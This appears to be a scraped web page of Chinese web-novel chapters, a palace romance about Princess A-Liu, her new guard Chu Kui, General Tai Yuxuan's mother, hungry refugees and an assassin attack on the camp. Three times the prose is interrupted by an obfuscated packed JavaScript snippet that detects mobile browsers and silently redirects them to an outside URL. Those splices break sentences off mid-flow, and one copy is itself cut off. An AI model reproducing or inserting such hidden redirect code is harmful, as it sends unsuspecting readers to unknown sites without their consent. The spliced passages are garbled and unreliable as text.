云溪也没在意,乐呵呵地又拉着她往下一个摊位跑:“前面有卖杏仁茶的!我看小说里面提到过这个,应该是很好吃的,咱们也去尝尝吧!” 阿柳跟着她穿过人群,心里却总有些不安。 直到云溪将一碗晶莹剔透的杏仁茶递到她面前,她才暂时放下疑虑,舀了一勺送入口中。 甜而不腻,入口即化,还带着淡淡的桂花香。 “好吃吧?”云溪得意地挑眉,“我就说味道肯定错不了!” 阿柳刚要点头,余光却瞥见巷口几个人围着个女子吵吵嚷嚷,她神色一凛,立刻放下碗:“云溪,我们过去看看。” “让开!都让开!”巷子口粗鲁地叫骂声引起了许多人的注意。 阿柳拨开人群,只见四个地痞围着一个瘦弱的卖花女,其中一个刀疤脸正拽着姑娘的头发叫骂:“你爹欠老子的银子什么时候还?” “大哥,我爹现在病得下不了床,求您行行好,再宽限几日吧!”卖花女瑟瑟发抖,怀中的花篮早已打翻在地。 “几日?”刀疤脸狞笑,“你知不知道耽搁一天老子要亏多少银子,还敢开口就要几日?我看也别几日了,反正你这模样长得倒是凑活,不如现在就拿你来抵债!” 那人说着,就要把人往巷子里拖。 “住手!”阿柳一个箭步冲上前,云溪紧随其后。 刀疤脸斜眼打量她们粗布衣裙的打扮,嗤笑道:“哪来的村姑多管闲事?” 他使了个眼色,另外两个混混立刻堵住了巷口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974172|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云溪叉腰挡在阿柳前面:“你们光天化日之下竟敢强抢民女,还有王法吗?” “王法?”刀疤脸嗤笑一声,突然从腰间抽出一柄短刀,“老子就是王法!” 阿柳暗道不好,正要去摸藏在袖中的毒药,忽然一个黑影从天而降,径直挡在了阿柳两人的面前。 阿柳抬头一看,好像是个蓬头垢面的乞丐? 只见这乞丐招式伶俐,竟是凌空一脚就直接踹飞了刀疤脸的刀。 “以多欺少,不合规矩。”那乞丐声音沙哑,却站得笔直。 “呸!你大爷的竟然敢偷袭老子!想出头想英雄救美是吧,行!看爷爷今天怎么收拾你个小兔崽子!”刀疤脸气急败坏,啐了口痰便吆喝着另外两个混混一拥而上。 只可惜那乞丐身形如鬼魅,这三人冲过来还没动手,便被那乞丐给全都撂倒在地! “多谢壮士!多谢壮士!”跪在地上的卖花女见自己得救,连忙朝着这乞丐哭着磕头。 云溪赶紧走上前去把人给扶了起来,然后往她的手里塞了一锭从阿柳那儿顺来的银子,“别哭了,拿着这钱去给你爹看病吧!” 卖花女刚开始还不收,但云溪又劝了几句,阿柳也让她不必放在心上,收下便是。 她才千恩万谢的又磕了几个头,然后提着花篮一脸感激的离去。 而她一走,阿柳的目光便落在了眼前的乞丐身上。 她将人细细打量,便发现此人虽然满脸污垢,但脖颈和手腕露出的皮肤却异常干净,破草鞋里的袜子甚至还是上好的棉布。 “这位大哥。”她故意试探,“我看你动作招式并非毫无章法,倒像是正经的武学路子,可是曾有什么师傅教导过?” 那乞丐猛地抬头,眼中精光乍现又迅速隐去,像是没想到阿柳竟然会关注到自己。 “姑娘好眼力。”他说完后又无奈苦笑:“我原是武馆里的教习师傅,只是后来武馆遭了祸事,才变成了如今这局面……” 他话未说完,突然就剧烈咳嗽了起来,而随着他肩膀的抖动,他的袖口竟然也隐约渗出了血迹。 这是受伤了? 方才那几个混混可连他的衣角都不曾碰到,所以就算是受伤,也只可能是之前的旧伤。 而见他这样,云溪立马心直口快的说道:“你无家可归又受伤了,不如就跟我们走吧,刚好我们俩也不会武功,你可以给我们俩——” “云溪!”但阿柳赶忙喝止。 她刚想说这人来历不明,不能随便暴露自己的身份,却见巷子尽头忽然跑来了几个穿着军靴的人。 为首之人还格外眼熟,正是邰玉轩的副将曲衡。 “可算找着您了!”曲衡气喘吁吁地朝着阿柳行了一礼,“公主,将军命末将来接您回驿馆。” 云溪蹦过去捶了一下他的肩膀,不太满意的问道:“怎么是你来,你们家大忙人邰将军呢?” 曲衡抿了抿嘴,表情突然变得有些古怪。 他瞥了阿柳一眼,发现阿柳也正直勾勾的看着他,这才忙不迭的拱手回道:“这个……是夫人到了,将军他实在是抽不开身!” “夫人!”云溪的惊呼声中,阿柳骤然瞳孔紧缩。 是了,一早便知道他已有夫人,怎么相处了这么几天,自己又昏头把这事给忘了…… 阿柳的喉咙突然发紧。 她不该这样沉沦在那点旧情里的,就好似刚才云溪要将这乞丐带在身边,她脑子里面下意识的反应居然是有邰玉轩在,哪还用得着旁人保护。 可是却忘了他如今已经有了更需要他保护的人,自己的贪念看起来就像是一个笑话! 她到底还是需要自己为自己的安危谋划…… 想到这儿,阿柳侧目望向一旁的乞丐,他像是一直看着自己,所以眼见自己看去,便立马拱手行礼。 “你叫什么名字?”阿柳问道。 那乞丐抬眸,乱发间露出一双清亮的眼睛,“在下褚奎。” “褚奎……”阿柳细细念着他的名字,然后慢慢解下腰间的钱袋递到他的面前,“如云溪所言,你既无家可归,那可愿留在我身边,做我的护卫?” 褚奎看着眼前沉甸甸的钱袋,却没有立即伸手。 他喉结滚动了几下,才声音沙哑地道:“姑娘为何用我?” 阿柳轻笑一声,指尖轻轻点了点他的手背:“你虎口的老茧,是长年用刀才会有的,这说明你的功夫确实不弱。且方才路见不平,你二话不说便出手相助,又可见你秉性不坏。至于其他,用人不疑,疑人不用,我既然开口留你,那便是我愿意赌你是个好人!” 褚奎眼中的诧异一闪而过,随即化作一抹无奈的笑意,似乎是没想到竟是这么个随意的理由。 他笑的时候,脸颊上浮现出两个小小的酒涡,也不知道是想到了什么,又蹙眉犹豫了片刻。 但最终似乎还是想通了,所以单膝跪地,坚定地说道:“属下褚奎,往后愿护姑娘周全!” 云溪见状,立马兴奋拉着阿柳的手臂左摇右晃:“太好了!咱们正好缺个能打的!” 但对于阿柳的决定,曲衡看起来似乎是不太满意,可凭他的身份,即便是不满意,又如何敢对公主的所作所为品头论足? 所以抿唇当没看见的曲衡只能咬着牙,将先前还没说完的话补充完。 “公主,夫人她说……想见见你!” 7. 初会国公夫人,原来是误会一场 回到驿馆时,天已擦黑,阿柳远远就看见了院中那辆朱轮华盖的马车。 车辕上镇国公府的徽记让她心头发酸。 邰玉轩的夫人是谁,叫什么名字,长什么模样,又为什么一来便要见自己…… 阿柳的手指无意识地绞着衣角,那件靛青色的罗裙已经被揉出了几道褶皱。 此时驿馆的院子里,几个身着靛蓝劲装的侍卫肃立如松,衣襟上镇国公府的家徽在火光的照耀下泛着冷光。 “阿柳,你若是不想去,咱们推说身子不适就好了,不必非要听她的。”云溪递来一杯热茶,氤氲的热气模糊了阿柳的视线,“那邰玉轩的夫人再尊贵,又还能比得过你这东陵公主去?” 茶盏在掌心发烫,阿柳却感觉指尖冰凉,她想起这些时日与邰玉轩相处的点点滴滴。 为她送药,为她添衣……那时的他眼中分明有千言万语,但最终说出口的却始终只有一句“天寒露重,多加小心”。 “不必了。”阿柳放下茶盏,瓷器与木桌相碰,发出沉闷的声响,“该来的总要来。” 穿过回廊时,寒冬的风裹着细雪钻进领口。 阿柳恍惚想起丹骆村的春天,邰玉轩总会用新折的柳枝给她编花环,那时他笑着说等柳絮纷飞时就娶她过门,阿柳不依,然后他便会把花环戴在阿柳的头顶,说他会等。 等一年,等两年,等十年二十年,等到阿柳点头的那一天,便让阿柳做全天下最美的新娘。 那时候的他们真好啊! 只可惜少年人的誓言轻得就像飘落的柳絮,风一吹,便散了…… 领路的嬷嬷在一扇雕花木门前停下。 阿柳深吸一口气,努力告诉自己一定要尽量平静,等她好不容易调整好心态,抬头一瞧却又骤然怔住。 只见那端坐在紫檀圈椅上的不是想象中的年轻贵妇,而是一位鬓发如霜的老夫人。 金丝楠木拐杖斜倚在案几旁,杖头镶嵌的翡翠在烛光下泛着幽幽碧色。 阿柳这才惊觉,眼前的这位夫人,竟是镇国公夫人,邰玉轩的母亲。 她是邰玉轩的母亲! 阿柳的心情就像是坐摇椅,时而高,时而低,摇摆到现在,总算是多出了几分劫后余生的喜悦。 “老身冒昧请公主前来,还望见谅。”老夫人声音沉静,眼角的纹路里藏着岁月沉淀的威严。 “夫人折煞阿柳了。”她慌忙行礼,绣鞋尖在青砖地上蹭出一道浅痕。 案几上鎏金香炉升起袅袅青烟,老夫人指了指下首的绣墩,“坐吧。” 阿柳半个身子虚坐在绣墩边缘,背挺得笔直。 “想必公主心里有许多疑问。” 她看见老夫人从袖中取出一个泛黄的纸封,纸封边缘已经起了毛边。 阿柳敛眉移开目光:“阿柳不知夫人何意。” 这自然是客套话,可老夫人像是无意寒暄,所以并未理会阿柳的客套。 “老身今日来是想告诉公主,轩儿当年并非有意负你。”老夫人枯瘦的手指抚过信封,“当年东陵城战败,国公府男丁尽殁,老身循着线索找到丹骆村时,那孩子正蹲在檐下雕木簪。” 阿柳的指甲深深掐进掌心。 她记得那支木簪,邰玉轩离开的前一天晚上,她还隐约看见那只木簪上已经有了并蒂莲的雏形。 那是他为她十一岁生辰准备的礼物。 “他本不愿走的。”老夫人叹息时,腕间的佛珠相互碰撞,“直到老身说,若他不回国公府,不将这满府的荣誉一肩扛起,那些虎视眈眈的旁支第一个要除掉的人必然就是你!” 香炉里突然爆出个火星,阿柳浑身一颤。 她抚摸着手腕上的那条红绳,这些年的心结总算是有了一个宣泄的出口。 “这信……”老夫人将信封推过来,“他当时写了整整一夜,托我一定要交到你的手中。” 纸页已经脆黄,阿柳接过之后抖着手打开,熟悉的字迹刺得她眼眶生疼。 那些笔画比她记忆中的更加青涩,却一笔一划都力透纸背。 邰玉轩在信里说等他安顿好就来接她,说他的新娘只会是丹骆村的阿柳,说要她把自己照顾好等着他来接她的那一天…… “那这封信当初为何没有交到我的手上?”阿柳的眼泪砸在信纸上,晕开一朵小小的花。 如果有这封信,她绝不会怨恨他这么久! “是我留下的信。”老夫人的声音突然严厉起来,“当时的你只是个孤女,而轩儿作为国公府唯一的孩子,只等建功立业,便要承袭世子之位,以你的身份,如何配得上他!高门子弟,娶妻断没有随心所欲之说,所以不管是当时将你带在身边,还是日后接你进府,你能得到什么身份?通房?侍妾?还是一个上不得台面的外室?你甘心吗!老身不想为难你,所以就此了断,对你,对他,其实都是最好的结果!” 阿柳猛地抬头,泪水还挂在睫毛上:“那便如你所说,当初是我高攀不上他,可如今我是公主,难道我堂堂一国公主,还配不上他一个世子!” “那他可有说过要娶你?”老夫人锐利的目光仿佛能穿透人心,“护送你回宫这一路走来,他可曾向你提过半句将来?” 窗外传来整齐的脚步声,是侍卫在换岗。 阿柳突然想起这些日子的相处,尽管她能察觉到邰玉轩眼底偶尔遗漏出的缱绻爱意,可他却总是用一些看似生疏的语气和动作来把自己往外推,甚至就连为她披衣时,都要先客气地道上一声“冒犯”。 之前她还当是因为他已娶妻,所以克己复礼,她也因此没在过多打扰。 可是如今看来,显然并不是这么回事。 “北甸战事虽平,但裕嘉如今又虎视眈眈,说不准哪一日这战事便会再起,武将的归宿从来都是马革裹尸。”老夫人起身时,腕间佛珠哗啦作响,“公主金枝玉叶,往后自是数不尽的荣华富贵,又何必在他身上浪费时间。如今是轩儿配不上你了,他也不会让你白白跟着他受苦的。” 老夫人说着,手中的拐杖重重杵地,“你们俩呀……是注定殊途!” 阿柳不甘的问道:“夫人的意思,也是他的意思吗?” 她说着豆大的泪珠像是断了弦的珠子似的,直往地上砸。 那些克制守礼的举止,原来不是生疏,而是画地为牢! 但老夫人还未说话,却听远处突然传来沉闷的一声“咚”响,像是有人重重跪在了地上。 阿柳循声望去,透过雕花窗棂,看见隔壁厢房门窗大开。 而邰玉轩正直挺挺地跪在案前,案上放着的,正是老夫人此行从国公府祠堂带出来的镇国公牌位。 邰玉轩也不知是跪了多久,穿着玄色劲装的后背此时已经渗出汗迹,在烛光下显出深色的痕迹。 “他在领家法。”老夫人语气平淡,“他不该私自带着你回京的。” 邰玉轩的侧脸在烛火中明明灭灭,下颌绷出锋利的线条,阿柳的指尖无意识地描摹着窗棂花纹,木头的纹理粗粝磨人。 老夫人接着说道:“你带着虎符,自称公主,按理来说他应当先禀明圣上,由圣上下旨宣他带你进京才算合规。但他直接略过圣上相信了你的公主之说,竟是传信的同时便将你带上了路。如此若到了御前,你无法证明自己是真的公主,那即便他此次出征北甸战功赫赫,想来也是会惹了圣上不喜,连累镇国公府。” 阿柳不解:“既然我的身份还没得到圣上的确认,那夫人为何一见我就称我为公主呢?” “因为大公主胥嘉在轩儿的消息传回东陵的前一日,便先一步坦白了自己并非皇室血脉。”老夫人面露沉思,“之后轩儿的消息传回东陵,再加之你手上握着虎符,你这公主的身份,便已经有九成真了。” 胥嘉? 阿柳倏地想起先前遇见的那名手持弯刀的黑衣人,当时邰玉轩赶回,他像是提前察觉,之后便立马消失地无影无踪了。 从他和陆贾的交谈之中可以发现,他定然是胥嘉的人,所以胥嘉会突然坦白身份,想必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她现在的心情实在是不想再谈论这些,所以只道了句:“夫人是镇国公夫人,她是邰玉轩的母亲。” “母亲?”云溪却更兴奋了,“原来他没成婚啊!我就说嘛,到死都牵挂着你的人怎么可能半道上和别的女人在一起,我一开始就看好你们俩的,现在连他娘都见过了,那你们岂不是马上就要过上没羞没臊的幸福生活了!” 阿柳没吭声,她望着铜雀灯灯罩上绘制的比目鱼,突然想起从前邰玉轩教她认字时说过,这种鱼双目同侧,一生只得相伴而行。 “得成比目何辞死……”阿柳鬼使神差的想起这句词。 她的指尖抚过灯罩边缘翘起的竹篾,像是触碰着记忆里逐渐褪色的温度。 原来世间最残忍的事,不是两条鱼被迫分离,而是明明近在咫尺,却永远隔着一汪望不穿的秋水。 她忽然觉得连呼吸都带着咸涩,像是被封存在深海里的月光,在漫长的岁月里,碎成了再也拼不拢的残片。 灯芯爆了个灯花,阿柳抬手抹了把脸,才发现掌心早已被指甲掐出了月牙形的血痕。 “阿柳,邰玉轩会成为你的驸马吗?到时候你们是住在皇宫,还是住在他家?你们的孩子要叫什么名字呀?”片刻的功夫,云溪已经将他们的半生都给想好。 可惜寒风穿堂而过,早已卷走了少女所有的憧憬与幻想。 “不说了,睡吧。”阿柳吹熄了灯,躺上床后,又在黑暗中睁着眼睛。 而云溪还当她是太累,小声的应了一声“哦”后,便听话的收拾好东西安静睡在她的身旁。 …… 后半夜,窗外又落起了雪。 阿柳恍惚看见邰玉轩穿着大红喜袍在向她伸手,可转眼间,喜服就化作了染血的战甲。 她一个人站在空荡荡的灵堂上,看着灵堂的白幡猎猎作响。 而供桌上用金漆刷着“邰玉轩”三个字的牌位,刺得人眼睛生疼! 阿柳骤然惊醒,天还未亮,手下的枕畔湿了大片。 云溪在身旁睡得正熟,而那盏铜雀灯,不知何时又被点燃。 暖黄的光晕里,两条孤独的比目鱼,正在珊瑚间交颈而游。 8. 玉轩吃醋,流民来袭 第二日一早,镇国公夫人已如来时般悄无声息地离去。 她昨日的态度那样坚决,阿柳都以为她会守在自己和邰玉轩的身边,天天监视着他们两人不能靠近呢。 但不守着其实也无妨,既然邰玉轩不愿再和自己谈论往日种种,她又何必再一直守着些没用的回忆念念不忘? 所以就如那老夫人所言,只要邰玉轩果真能忍得住不再和自己扯上联系,那等到了皇城,她更不屑于再执着于一个舍弃自己的人! 早上阿柳已经将昨夜与老夫人之间发生的事情转述给了云溪,她原本是不想说的,毕竟谁会希望自己的糗事人尽皆知? 但架不住云溪话太多,嘴上又总说着些关于她和邰玉轩的琐事,听得她实在头大。 所以最后阿柳便一股脑的告诉了她。 这样虽然云溪的嘴巴依旧没停下,但讨伐邰玉轩不是个东西和絮叨她跟邰玉轩生的孩子叫什么名字,到底是前者要更让自己舒心一些。 从驿馆出发至皇城尚需三日路程,今日疾行了一天后,护送阿柳的队伍在一处山坳下扎了营。 云溪从早上骂到中午,下午的时候或许是嘴巴累着了,所以一直睡到现在。 眼下营帐扎好,她又打着哈欠走下马车。 来到阿柳身边后,她悄悄问道:“阿柳,你下午没和邰玉轩说话吧?” 阿柳不知道云溪问这作甚,但还是老实回答:“没有。” 云溪拍了拍她的肩,“做得好!我跟你讲,虽然我下午都在睡觉,但我梦里面又仔细复盘了一下这本书的剧情。邰玉轩肯定是心里有你的,但是家族的责任就像是枷锁,让你们俩被迫分开,所以你们俩拿得肯定是追妻火葬场的虐恋剧本!这所谓虐恋虐恋,那不虐怎么能恋?所以说,从现在开始,你不仅不能和他说话,最好连见都不能见他,也不能让他看见你!你这弄得什么,你在缝鞋子吗?不会是给邰玉轩弄的吧!” 云溪慷慨激昂地说了一大堆,对于自己的猜测满意的不得了,正打算再给阿柳提上几个战略性的意见。 一低头,却发现她正在搞破鞋! 字面意义的那种。 阿柳抬头看了云溪一眼,有些无奈地摇了摇头,“我看起来是那么上赶着的人?” 她手里确实拿着一双脚跟处剪开的黑色布鞋,此刻正在用针线把那处剪开的位置缝上。 云溪捏着下巴啧啧两声:“你像那种会下毒让负心汉断子绝孙的人!” 阿柳给了云溪一个白眼。 云溪不服,她坐到阿柳的身边:“我说的又没错!既然不是给邰玉轩,那总不能是给我的吧?这么大一个,看起来也不是我的尺码啊……” 阿柳此刻正在收尾,她咬断线头,然后把手里的鞋子递给了一直守候在身侧的褚奎,“呐,试试能穿吗。” “给我的?”褚奎一脸惊讶。 他抱臂立在一旁,一整天几乎就没开口说过话,若非是身形过于高大,旁人只怕是都注意不到阿柳的身边还有他这么一号人。 “嗯。”阿柳点了点头。“这么冷的天,你还穿着双破草鞋怎么能行?只是我观你脚掌过大,无论是街上卖的,还是军营里士兵们穿的,好像都没你的尺码,我又不会纳鞋底,所以只能拿了双新鞋,把脚后跟加宽填上细绒,这样虽然还是短了一截,但至少也能御寒一二了,你快试试。” 接过鞋子,褚奎低头看了看自己被冻得通红的脚掌,内心生出一丝悸动。 他吃过许多苦,吃不饱,穿不暖,这些都曾是他每日都会经历的事情。 所以区区一只脚,连他自己都没注意到,却没想到阿柳竟然放在心上,还亲手给他改了一双鞋。 他已经知道了眼前的女子乃是身份高贵的公主,一个公主,竟然会为自己一个侍卫做这些事。 褚奎抚摸着鞋跟处粗糙的针脚,“公主……” “是嫌我缝得太丑吗?我没怎么做过这些针线活,所以做得确实不太好看。不过你放心,等回宫以后我会让人给你做些好看合脚的,现在便先将就一下吧。”阿柳看他一直盯着缝线的位置看,还以为褚奎是嫌弃自己弄得太难看。 云溪见不得褚奎这磨磨蹭蹭的样子,伸手就要将鞋抢过来,“嫌弃就别穿,你多大脸还挑上了!” “没有嫌弃!”但褚奎一侧身便躲开了云溪的毒爪,“多谢公主,属下没有嫌弃,只是属下苦惯了,公主千金之躯,如何能为属下缝鞋,往后还请公主不用再做这样的事了!属下很喜欢这鞋,多谢公主!” 他说完这话,便将脚上的草鞋脱下,然后换上了阿柳缝的这只布鞋,“很合适!” 云溪见他嘴上叽里呱啦说着拒绝,手上又一点都不含糊的把鞋穿上,没忍住撇了撇嘴说了句:“装货!” 阿柳见状失笑,但她知道云溪性子就是如此,没有恶意,所以也没多说什么。 只是目光落在褚奎身上的时候,又柔和了态度说道:“你不必如此拘谨,其实我也就是个半路出家的公主,以前过得日子比你也好不了多少,咱们是同路人,你便当我是个普通的雇主就好。” 褚奎望着阿柳,没有说话,只是郑重的抱拳行了一礼。 再说这邰玉轩巡视完岗哨,回到营地便看见了阿柳给褚奎送鞋的画面,他揉了揉有些发胀的太阳穴,今日一天阿柳对他的冷淡让他心神不宁。 他心里自是知道对于他二人而言,这本就是最好的结果。 可看着她对另一个才相处了一天的侍卫,竟笑得那么亲切,还亲自为他改了一双鞋,邰玉轩这心里就颇有些不是滋味。 阿柳不会针线活,连给他缝制个什么东西都是不曾有过的事。 所以鬼使神差的,他悄悄后退几步,故意踩断一根树枝。 “谁!”阿柳厉喝一声,褚奎的剑锋立刻直指声源处。 “是我。”邰玉轩装作刚到的样子走出树影,“这么晚还未休息?” 云溪立即扯了扯阿柳的衣角,兴奋地耳语道:“来了来了,快虐他!” “邰将军不去休息,到我这儿来有何贵干?”阿柳不动声色地拍了拍褚奎的肩膀。 褚奎的剑尖垂下,但剑未归鞘。 邰玉轩注意到他握剑的姿势,拇指扣在剑柄末端,不太像是惯使剑的手法。 但他假装没看见,只对阿柳道:“巡哨路过,见有人影,特来查看。” 阿柳眼神闪烁,显然不信这套说辞,却也不点破:“有劳邰将军挂心了,只是这儿就我们三人,没什么危险。” “你这针法倒是不错。”邰玉轩瞥了一眼褚奎脚上的鞋子,没理会阿柳语气里的疏离,只是状似随意地赞道,“以前倒是不知道你还会针线活?” “……”阿柳抿着嘴,一时分不清邰玉轩究竟是真心夸赞,还是在阴阳自己。 她忍了又忍,才只从鼻腔里吐出一口浊气,然后语气平淡的答道,“皮毛罢了,比不得邰将军上阵杀敌的真功夫。” 邰玉轩点头,还没有意识到自己的嘴巴闯了多大的祸,反倒因为阿柳虚情假意的夸赞,心里面涌起了点小窃喜。 阿柳果然还是更喜欢他这种充满男子气概的男人! 而看见邰玉轩贼兮兮的偷笑,云溪立马凑近阿柳说道:“这小鳖孙没憋好屁,嘲笑你呢!” 阿柳点了点头,她也觉得是。 不,不是觉得,肯定是! 而一无所知的邰玉轩见两人窃窃私语,又更加重了自己心里的猜测,他正欲再试探几句,这时却忽听远处传来了一阵喧哗声。 阿柳和邰玉轩对视一眼,同时迈步向着声音传来的地方奔去。 营地边缘,几名侍卫拦住了一群衣衫褴褛的流民。 为首的是个白发老者,此刻正不住作揖:“军爷行行好,给点吃的吧,孩子们三天没吃饭了!” “滚开!惊扰了贵人,你们担待得起吗?”侍卫长厉声呵斥,手已按在刀柄上。 “住手!”阿柳快步上前,“怎么回事?” 侍卫长见是阿柳,连忙行礼:“回公主,这群流民想讨要食物,属下这就赶他们走。” 阿柳看着那群面黄肌瘦的流民,特别是那几个缩在大人身后、瘦得皮包骨的孩子,眉头紧锁。 她转身对云溪说道:“把咱们的干粮拿些过来。” “公主!”侍卫长急道,“这些人来历不明,若是——” “按我说的做!”阿柳声音不大,却带着不容置疑的威严。 邰玉轩也随声附和:“都听公主的。” 阿柳分发食物时,顺便还检查了一下孩子们的身体情况, 或许是饥饿之下又过度劳累的原因,好几个小孩都发起了高热,于是阿柳又从怀中掏出一个小药瓶,倒出几粒药丸分给了那几个发烧的孩子服下。 曲衡跟在邰玉轩的身边,见状有些不理解,“东陵战事频起,流寇贱民数不胜数,公主所为,杯水车薪,根本就没什么意义。” 但邰玉轩的目光始终落在忙碌地阿柳身上,闻言只淡淡道:“贱民也是民,虽是杯水车薪,亦可以积少成多,一个人若是连眼前的性命都救不了,又何谈天下大局?” 曲衡哑然,沉默片刻终是垂首:“是属下狭隘了。” …… “邰将军是否觉得我多管闲事?”回营帐的路上,阿柳突然问道。 刚才救人的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974174|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邰玉轩和曲衡交头接耳的摸样她并没有错过。 邰玉轩摇头:“公主心怀慈悲,救人于危难,臣怎会觉得是多管闲事?” 他微微一顿,又目光沉静地看向她,“只是臣担心,公主如此行事,恐会引来不必要的麻烦。” 阿柳脚步一顿,侧目看他:“麻烦?” 邰玉轩低声道:“这些流民来历不明,我军又刚刚大胜北甸,若其中刚好混入了北甸余孽,或是有人借机生事,恐怕会对公主不利。” 阿柳轻笑一声,眼中却毫无笑意:“邰将军是觉得,我连这点警惕都没有?” 邰玉轩摇头:“臣不敢。只是公主身份尊贵,臣不得不谨慎。” 阿柳沉默片刻,忽然问道:“邰玉轩,你可曾见过战场上的流民?” 她终于不再冷冰冰地叫他邰将军了。 邰玉轩一怔,随即点头:“见过。” “那你可曾见过他们饿得啃树皮,病得浑身溃烂,却仍被守军拒之城外的样子?”她的声音很轻,却字字如针。 那是她在丹骆村,看着东陵军撞破北甸城门后,村里百姓一点一点被蚕食后的样子。 若非遇见云溪,若非与邰玉轩重逢,若非得到了个公主的身份。 她想,自己如今怕是也和这些流民一样食不果腹,朝不保夕。 邰玉轩呼吸微滞,一时无言。 阿柳继续道:“我救不了天下人,但至少眼前这些人,我能救一个是一个。” 她抬眸,直视他的眼睛,“若连这点善念都要权衡利弊,那这天下,又还有什么值得守护的呢?” 邰玉轩定定地看着她,良久,终于缓缓露出一丝笑意:“公主说的是,是臣迂腐了。” 回到主帐,邰玉轩刚点亮油灯,曲衡便急匆匆进来,递上一封密信:“将军,皇城来的飞鸽传书。” 邰玉轩拆开一看,脸色骤变。 信中只有寥寥数语:东宫今夜奇兵离城,公主回宫路恐不太平,慎之。 “送信的是谁?”邰玉轩沉声问到。 曲衡偏头:“信鸽脚环是府上的,应该是夫人。” 镇国公夫人主持阖府中馈,不便离城,所以昨夜便快马加鞭连夜赶回了皇城。 依着这速度,想来应是回城时便遇见了这队人马。 敌人来势汹汹,看样子怕是有场硬仗要打。 邰玉轩将信纸凑近灯焰,看着它化为灰烬。 事情比他想象的更复杂,阿柳还未正式认祖归宗,东宫便有人急不可耐的想要对她出手,这究竟是怎么回事。 一个公主,也不会卷入皇位之争,但除此之外,还能是什么原因会盯上她呢? 邰玉轩脑子里晃过一个总是跟在太子身侧的女子——胥嘉! 会是她吗,这个占据了阿柳位置十多年的假公主? 邰玉轩走出帐外,望向阿柳营帐的方向,灯还亮着,幕布上映出她低头沉思的剪影。 “送你回宫究竟是对是错呢?”邰玉轩喃喃自语,“为何有人非要置你于死地?” 而此刻,同一轮明月下,东陵皇城,未央宫内。 胥嘉斜倚在软榻上,纤长手指把玩着一枚白玉簪。 她生得极美,肤若凝脂,眉目如画,只是眼底藏着一抹阴鸷。 “蕊芝,消息可准确?”她轻声问道,声音柔得像羽毛拂过。 跪在地上的宫女头也不敢抬:“回公主,千真万确,邰将军已护送那人启程,约莫再过两日可到皇城。” 胥嘉轻笑一声,玉簪在指尖转了个圈:"十多年了,我这位好姐姐终于要回来了。" 她忽然坐直身子,“去,把翠微宫收拾出来,我要好好迎接咱们这位公主殿下!” 蕊芝一愣:“翠微宫?那可是最偏远的——” “怎么?”胥嘉眼神一冷,“你是觉得咱们的公主殿下不配?” “奴婢不敢!奴婢这就去办!”蕊芝连连磕头。 挥退下人后,胥嘉独自走到铜镜前,凝视着镜中那张过分美貌的面容。 她缓缓摘下发簪,任由青丝披散。 “阿柳……”她轻唤这个名字,仿佛在品尝着某种致命而又令人上瘾的毒药,“你以为,皇宫是你该来的地方吗?” 她从妆奁底层取出一幅画像,画上的女子鼻梁挺秀,唇色浅淡如樱,眉毛如远山含黛,一双杏眸清亮如秋水,眼尾微微上挑,透着几分与生俱来的矜贵,却又因眸中的柔和而显得不那么疏离。 胥嘉用指甲狠狠划过她的脸蛋,直到画纸破裂,才将手中的画卷随手扔进了一旁的炭盆里。 “不该回来的人,这辈子还是继续死在外面的好!” 9. 刺客惊现,二人摊牌 黎明前的黑暗最为浓稠,营帐外的树桠在狂风中发出阵阵呜咽,仿佛带着某种不祥的预兆。 邰玉轩平躺在床上,怀里牢牢抱着他的剑。 昨夜收到国公夫人送来的信件后,他便一直密切注意着营帐周遭的动静,以防那伙皇城贼人的突然袭击。 月光透过斑驳的树隙,在地面投下扭曲的影子,像极了张牙舞爪的恶鬼。 突然间,帐外传来极轻的脚步声,不是巡逻士兵的规律步伐,而是刻意放轻的蹑行。 多年的军旅生涯让邰玉轩对危险有种野兽般的直觉,他几乎是立刻就能断定,那伙人终于来了! 于是他猛然睁眼,捏紧怀中长剑便无声地滚到帐边。 他从幕布的缝隙中窥见几个黑影正分散向着各营帐摸去,其中两人径直朝着阿柳的营帐潜行。 邰玉轩心头一紧,正要冲出,却见阿柳的帐帘微微掀起,一道黑影如鬼魅般闪出。 然后未等那两名刺客反应,剑光已划过二人咽喉。 好厉害的身手! “有刺客!”紧随那黑影走出来的阿柳环视一圈周遭情形,清冷的声音立刻划破夜空。 营地里瞬间炸开锅。 侍卫们匆忙应战,但刺客显然训练有素,很快形成合围之势。 邰玉轩披甲冲出,长剑如龙,瞬间刺穿两名刺客的心窝。 他边战边向阿柳靠拢,却见她和褚奎一人下毒,一人挥剑,转眼之间便已杀入敌群。 那褚奎的剑法凌厉狠辣,每一招都直取要害,这可不像是什么武馆里面能教出来的人! 邰玉轩暗自留了个心眼。 “保护流民!”阿柳突然大喊,身形一转,开始向着营地边缘扑去。 邰玉轩这才发现,一队刺客正杀向昨晚那群流民的临时住处。 阿柳如离弦之箭,飞快地在刺客举刀砍向一个孩童前将其击毙,她一把抱起吓呆的孩子,转身时肩头却被另一人的刀锋划过,鲜血瞬间浸透白衣。 